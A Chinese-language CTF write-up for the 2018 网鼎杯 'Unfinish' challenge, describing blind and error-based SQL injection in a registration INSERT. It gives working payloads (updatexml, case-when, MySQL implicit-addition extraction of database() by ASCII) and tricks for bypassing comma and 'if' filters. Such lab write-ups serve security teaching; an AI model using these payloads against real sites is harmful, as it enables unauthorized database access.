github编辑

[网鼎杯2018]Unfinish

[网鼎杯2018]Unfinish

考点

  • insert中的盲注

  • MySQL的弱比较

wp

扫描存在register.php,随便注册登录进去是一张图片。有注册也有登录,可以试试注入

在注册处用户名填\'select-,发现返回的用户名是'select-

如果注册处用户名是1234",会302跳转,如果是1234'就还会是注册页面,这说明是用'闭合语句的。并且如果语句执行失败会是注册页面。

可以猜出来后端代码

传入0'or 0 or '0,name返回的是0。传入0'or 1 or '0返回的是1。

先构造insert的报错注入,' or updatexml(1,concat(0x7e,database()),0) or ',结果返回nnnnoooo!!!

经过一番尝试,发现是过滤了,,那就不能用if语句盲注,可以用case when

payload

用ASCII码逐个爆破即可,可以得到数据库web,但是这里ban了information

还有一种方法是用sql的弱比较,会把'0'+119+'0'这种做加法运算,payload如下

0'+ascii(substr(database() from 1 for 1))+'0。这会在name处回显查询的值

小结

  1. insert语句中可以使用0'or 0 or '0根据返回结果判断盲注是否存在

  2. 在substr函数的,被过滤时,可以使用from 1 for 1

  3. 在if被过滤时,可以使用case when。0'or (select case ascii(substr(database() from 1 for 1)) when 119 then 1 else 0 end) or '0

  4. MySQL存在弱比较,会把'0'+119+'0'做加法运算。0'+ascii(substr(database() from 1 for 1))+'0

最后更新于